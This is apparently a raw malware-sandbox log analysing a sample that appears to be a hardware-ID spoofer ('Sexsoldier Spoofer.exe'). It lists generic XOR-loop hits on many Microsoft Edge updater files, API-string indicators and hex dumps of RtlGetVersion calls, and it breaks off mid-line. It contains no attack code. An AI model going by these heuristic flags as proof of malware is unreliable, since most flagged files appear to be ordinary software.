30d0 Found XOR loop in file "svchost.exe" at offset 1806671; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1946344; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2025371; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2027279; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2061392; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2144322; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2159820; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 102839; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 261727; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 314289; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 421137; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 489514; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 526520; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 794174; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 852876; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 900217; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 908725; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 962347; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1043163; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1054501; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1310445; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1316031; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1728937; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1769937; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1928397; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2002333; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2064501; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2115930; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2180262; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2101192; code bytes = 30040e Found XOR loop in file "svchost.exe" at offset 123460; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 165362; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 323030; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 428372; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 434913; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 450947; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 503602; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 503842; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 504106; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 735901; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 739553; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 749410; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 769594; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 809505; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 821532; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 859884; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 934926; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 977611; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1113766; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1118566; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1132135; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1180249; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1197905; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1244843; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1369036; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1525537; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1566952; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1604331; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1604645; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1620965; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1651118; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1749776; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1774239; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1886429; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1948061; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1951422; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2101166; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2166415; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2223879; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2234703; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2239294; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 211432; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 225853; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 277115; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 479112; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 563014; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 565340; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 595017; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 599510; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 645131; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 646609; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 675494; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 726382; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 749140; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 758913; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 765535; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 828423; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 830266; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 836369; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 845062; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 912612; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 929260; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1098751; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1124435; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1196344; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1200368; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1262895; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1286838; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1377701; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1429757; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1461772; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1571377; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1583108; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1592049; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1677903; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1682998; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 31396; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 36126; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 203370; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 282174; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 339959; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 345072; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 356934; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 561668; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 693581; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 708976; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 792017; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 877538; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 916740; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 927226; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1045116; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1073898; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1103120; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1305279; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1309797; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1314988; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1504072; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1528893; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1535648; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1566976; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1675439; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 51183; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 306538; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 448706; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 493654; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 551655; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 573430; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 648168; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 657410; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 679134; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 802620; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 927671; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 981639; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1073239; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1144104; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1222980; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1324122; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1353359; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1434410; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1679534; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1680626; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1685837; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeWebview2Setup.exe" at offset 1687522; code bytes = 8030 Found XOR loop in file "psuser_64.dll" at offset 413238; code bytes = 30d0 Found XOR loop in file "psuser_64.dll" at offset 96552; code bytes = 33c1 Found XOR loop in file "psuser_64.dll" at offset 236771; code bytes = 8030 Found XOR loop in file "psuser_64.dll" at offset 358360; code bytes = 8030 Found XOR loop in file "psuser_64.dll" at offset 361152; code bytes = 8030 Found XOR loop in file "psuser_64.dll" at offset 410866; code bytes = 8030 Found XOR loop in file "psuser_64.dll" at offset 415843; code bytes = 8030 Found XOR loop in file "psmachine_64.dll" at offset 413238; code bytes = 30d0 Found XOR loop in file "psmachine_64.dll" at offset 96552; code bytes = 33c1 Found XOR loop in file "psmachine_64.dll" at offset 236771; code bytes = 8030 Found XOR loop in file "psmachine_64.dll" at offset 358360; code bytes = 8030 Found XOR loop in file "psmachine_64.dll" at offset 361152; code bytes = 8030 Found XOR loop in file "psmachine_64.dll" at offset 410866; code bytes = 8030 Found XOR loop in file "psmachine_64.dll" at offset 415843; code bytes = 8030 Found XOR loop in file "psmachine_arm64.dll" at offset 342224; code bytes = 30d0 Found XOR loop in file "psmachine_arm64.dll" at offset 389686; code bytes = 30d0 Found XOR loop in file "psmachine_arm64.dll" at offset 133704; code bytes = 33c1 Found XOR loop in file "psmachine_arm64.dll" at offset 387314; code bytes = 8030 Found XOR loop in file "psmachine_arm64.dll" at offset 390606; code bytes = 8030 Found XOR loop in file "psmachine_arm64.dll" at offset 392291; code bytes = 8030 Found XOR loop in file "psuser_arm64.dll" at offset 342224; code bytes = 30d0 Found XOR loop in file "psuser_arm64.dll" at offset 389686; code bytes = 30d0 Found XOR loop in file "psuser_arm64.dll" at offset 133704; code bytes = 33c1 Found XOR loop in file "psuser_arm64.dll" at offset 387314; code bytes = 8030 Found XOR loop in file "psuser_arm64.dll" at offset 392291; code bytes = 8030 Found XOR loop in file "psmachine.dll" at offset 330731; code bytes = 30d0 Found XOR loop in file "psmachine.dll" at offset 331177; code bytes = 30d0 Found XOR loop in file "psmachine.dll" at offset 333851; code bytes = 30d0 Found XOR loop in file "psmachine.dll" at offset 335591; code bytes = 30d0 Found XOR loop in file "psmachine.dll" at offset 338998; code bytes = 30d0 Found XOR loop in file "psmachine.dll" at offset 73358; code bytes = 33c1 Found XOR loop in file "psmachine.dll" at offset 83491; code bytes = 33c1 Found XOR loop in file "psmachine.dll" at offset 322669; code bytes = 33c1 Found XOR loop in file "psmachine.dll" at offset 172664; code bytes = 8030 Found XOR loop in file "psmachine.dll" at offset 183372; code bytes = 8030 Found XOR loop in file "psmachine.dll" at offset 195722; code bytes = 8030 Found XOR loop in file "psmachine.dll" at offset 203815; code bytes = 8030 Found XOR loop in file "psmachine.dll" at offset 329518; code bytes = 8030 Found XOR loop in file "psmachine.dll" at offset 330712; code bytes = 8030 Found XOR loop in file "psmachine.dll" at offset 332712; code bytes = 8030 Found XOR loop in file "psmachine.dll" at offset 333812; code bytes = 8030 Found XOR loop in file "psmachine.dll" at offset 335556; code bytes = 8030 Found XOR loop in file "psmachine.dll" at offset 336626; code bytes = 8030 Found XOR loop in file "psmachine.dll" at offset 341603; code bytes = 8030 Found XOR loop in file "psuser.dll" at offset 330731; code bytes = 30d0 Found XOR loop in file "psuser.dll" at offset 331177; code bytes = 30d0 Found XOR loop in file "psuser.dll" at offset 333851; code bytes = 30d0 Found XOR loop in file "psuser.dll" at offset 335591; code bytes = 30d0 Found XOR loop in file "psuser.dll" at offset 338998; code bytes = 30d0 Found XOR loop in file "psuser.dll" at offset 73358; code bytes = 33c1 Found XOR loop in file "psuser.dll" at offset 83491; code bytes = 33c1 Found XOR loop in file "psuser.dll" at offset 322669; code bytes = 33c1 Found XOR loop in file "psuser.dll" at offset 172664; code bytes = 8030 Found XOR loop in file "psuser.dll" at offset 183372; code bytes = 8030 Found XOR loop in file "psuser.dll" at offset 195722; code bytes = 8030 Found XOR loop in file "psuser.dll" at offset 203815; code bytes = 8030 Found XOR loop in file "psuser.dll" at offset 329518; code bytes = 8030 Found XOR loop in file "psuser.dll" at offset 330712; code bytes = 8030 Found XOR loop in file "psuser.dll" at offset 332712; code bytes = 8030 Found XOR loop in file "psuser.dll" at offset 333812; code bytes = 8030 Found XOR loop in file "psuser.dll" at offset 335556; code bytes = 8030 Found XOR loop in file "psuser.dll" at offset 336626; code bytes = 8030 Found XOR loop in file "psuser.dll" at offset 341603; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 56860; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 56880; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 56907; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 56947; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 56967; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 57015; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 57056; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 57073; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 268213; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 272438; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 53779; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 58510; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 260721; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 262693; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 264733; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 159484; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 171834; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 268188; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 270066; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateCore.exe" at offset 275043; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateComRegisterShell64.exe" at offset 223798; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateComRegisterShell64.exe" at offset 23240; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdateComRegisterShell64.exe" at offset 119875; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateComRegisterShell64.exe" at offset 127912; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateComRegisterShell64.exe" at offset 131184; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateComRegisterShell64.exe" at offset 221426; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateComRegisterShell64.exe" at offset 224718; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateComRegisterShell64.exe" at offset 226403; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdate.exe" at offset 191815; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdate.exe" at offset 192761; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdate.exe" at offset 199734; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdate.exe" at offset 45244; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdate.exe" at offset 194247; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdate.exe" at offset 191796; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdate.exe" at offset 192742; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdate.exe" at offset 197362; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdate.exe" at offset 200654; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdate.exe" at offset 202339; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeComRegisterShellARM64.exe" at offset 189494; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeComRegisterShellARM64.exe" at offset 187122; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeComRegisterShellARM64.exe" at offset 190414; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeComRegisterShellARM64.exe" at offset 192099; code bytes = 8030 Found XOR loop in file "RPZ-HWID.exe" at offset 80796; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdateBroker.exe" at offset 87805; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateBroker.exe" at offset 93750; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateBroker.exe" at offset 2925; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdateBroker.exe" at offset 95926; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdateBroker.exe" at offset 91378; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateBroker.exe" at offset 96355; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateOnDemand.exe" at offset 87805; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateOnDemand.exe" at offset 93750; code bytes = 30d0 Found XOR loop in file "MicrosoftEdgeUpdateOnDemand.exe" at offset 2925; code bytes = 33c1 Found XOR loop in file "MicrosoftEdgeUpdateOnDemand.exe" at offset 91378; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateOnDemand.exe" at offset 94670; code bytes = 8030 Found XOR loop in file "MicrosoftEdgeUpdateOnDemand.exe" at offset 96355; code bytes = 8030 Found XOR loop in file "msedgeupdateres_el.dll" at offset 24630; code bytes = 30d0 Found XOR loop in file "msedgeupdateres_el.dll" at offset 22258; code bytes = 8030 Found XOR loop in file "msedgeupdateres_el.dll" at offset 27235; code bytes = 8030 Found XOR loop in file "msedgeupdateres_ml.dll" at offset 24630; code bytes = 30d0 Found XOR loop in file "msedgeupdateres_ml.dll" at offset 22258; code bytes = 8030 Found XOR loop in file "msedgeupdateres_ml.dll" at offset 27234; code bytes = 8030 Found XOR loop in file "msedgeupdateres_de.dll" at offset 24630; code bytes = 30d0 Found XOR loop in file "msedgeupdateres_de.dll" at offset 22258; code bytes = 8030 Found XOR loop in file "msedgeupdateres_de.dll" at offset 25550; code bytes = 8030 Found XOR loop in file "msedgeupdateres_de.dll" at offset 27235; code bytes = 8030 Found XOR loop in file "msedgeupdateres_it.dll" at offset 24118; code bytes = 30d0 Found XOR loop in file "msedgeupdateres_it.dll" at offset 26294; code bytes = 33c1 Found XOR loop in file "msedgeupdateres_it.dll" at offset 21746; code bytes = 8030 Found XOR loop in file "msedgeupdateres_it.dll" at offset 26723; code bytes = 8030 Found XOR loop in file "msedgeupdateres_fr.dll" at offset 24118; code bytes = 30d0 Found XOR loop in file "msedgeupdateres_fr.dll" at offset 21746; code bytes = 8030 Found XOR loop in file "msedgeupdateres_fr.dll" at offset 26722; code bytes = 8030 Found XOR loop in file "msedgeupdateres_ca-Es-VALENCIA.dll" at offset 24118; code bytes = 30d0 Found XOR loop in file "msedgeupdateres_ca-Es-VALENCIA.dll" at offset 21746; code bytes = 8030 Found XOR loop in file "msedgeupdateres_ca-Es-VALENCIA.dll" at offset 25038; code bytes = 8030 Found XOR loop in file "msedgeupdateres_ca-Es-VALENCIA.dll" at offset 26723; code bytes = 8030 Found XOR loop in file "msedgeupdateres_lb.dll" at offset 24118; code bytes = 30d0 Found XOR loop in file "msedgeupdateres_lb.dll" at offset 21746; code bytes = 8030 Found XOR loop in file "msedgeupdateres_lb.dll" at offset 25038; code bytes = 8030 Found XOR loop in file "msedgeupdateres_lb.dll" at offset 26723; code bytes = 803031:T599,file/memory contains long string with (Indicator: "GetCommandLine"; File: "psmachine_arm64.dll") file/memory contains long string with (Indicator: "GetCommandLine"; File: "psuser_arm64.dll") file/memory contains long string with (Indicator: "GetCommandLine"; File: "psmachine.dll") file/memory contains long string with (Indicator: "GetCommandLine"; File: "psuser.dll") file/memory contains long string with (Indicator: "GetCommandLine"; File: "MicrosoftEdgeUpdateCore.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "MicrosoftEdgeUpdateComRegisterShell64.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "MicrosoftEdgeUpdate.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "MicrosoftEdgeComRegisterShellARM64.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "MicrosoftEdgeUpdateBroker.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "MicrosoftEdgeUpdateOnDemand.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "CopilotUpdate.exe") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "Sexsoldier Spoofer.exe") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "Sexsoldier Spoofer.exe") Found string "GetLastInputInfo" (Indicator: "GetLastInputInfo"; Source: "00000000-00004952-00000C2C-1111759930")32:T1b4e,"SexsoldierSpoofer.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000051a76d2efa7f00000000000000000000000000000000000080e89c00000000000000000000000000d0e79c000000000010337b2efa7f0000000000000000000090327b2efa7f00000400000000000000000000000000000000000000000000002c8dd406fa7f0000c0f8c2020000000048e89c00000000002100220000000000b2afd406fa7f000000000000000000001001cb06fa7f000040000000000000000000000000000000d014c30200000000e0acc2020000000009e99c00000000001ba06d2efa7f0000e0acc20200000000b015c202000000000000000000000000c3f06a2efa7f0000da014eac00000000e8846b2efa7f0000f8acc202 (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ace81d00000000000000000000000051ed6e2efa7f000000000000000000000000000000000000f3dcb87a9f4400002a00000000000000f027ca02000000008fec6e2efa7f0000e0ace81d00000000e0ace81d00000000000000000000000000000000fa7f0000ffffff7f12d6000000000000000000000000000000000000d8cedc1d000000002a0000000000000069c3951d000000003100000000000000e802000000000000ec02000000000000110001100000000090ce9c000000000003a3002efa7f000090ce9c000000000000000000000000002b00000000000000000000000000000020b09b1d00000000b43f9a1d00000000e0cedc1d (UID: 00000000-00004648) "SexsoldierSpoofer.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004648) "conhost.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120000009e29d677b8cf570300000000280000002400000000005603c0f2ff000000000000000000000000000000000000000000d00731033000000000000000120000000000310300000000fe000000000000000000000030cc570348bb560312000000000000002000000000003103d0013103d40b310300000000d00b310300000000b8f2ff0050f5d577b8cf570320f3ff006cf3ff00 (UID: 00000000-00004224) "conhost.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004224) "conhost.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004224) "conhost.exe" called "RtlGetVersion" with parameter 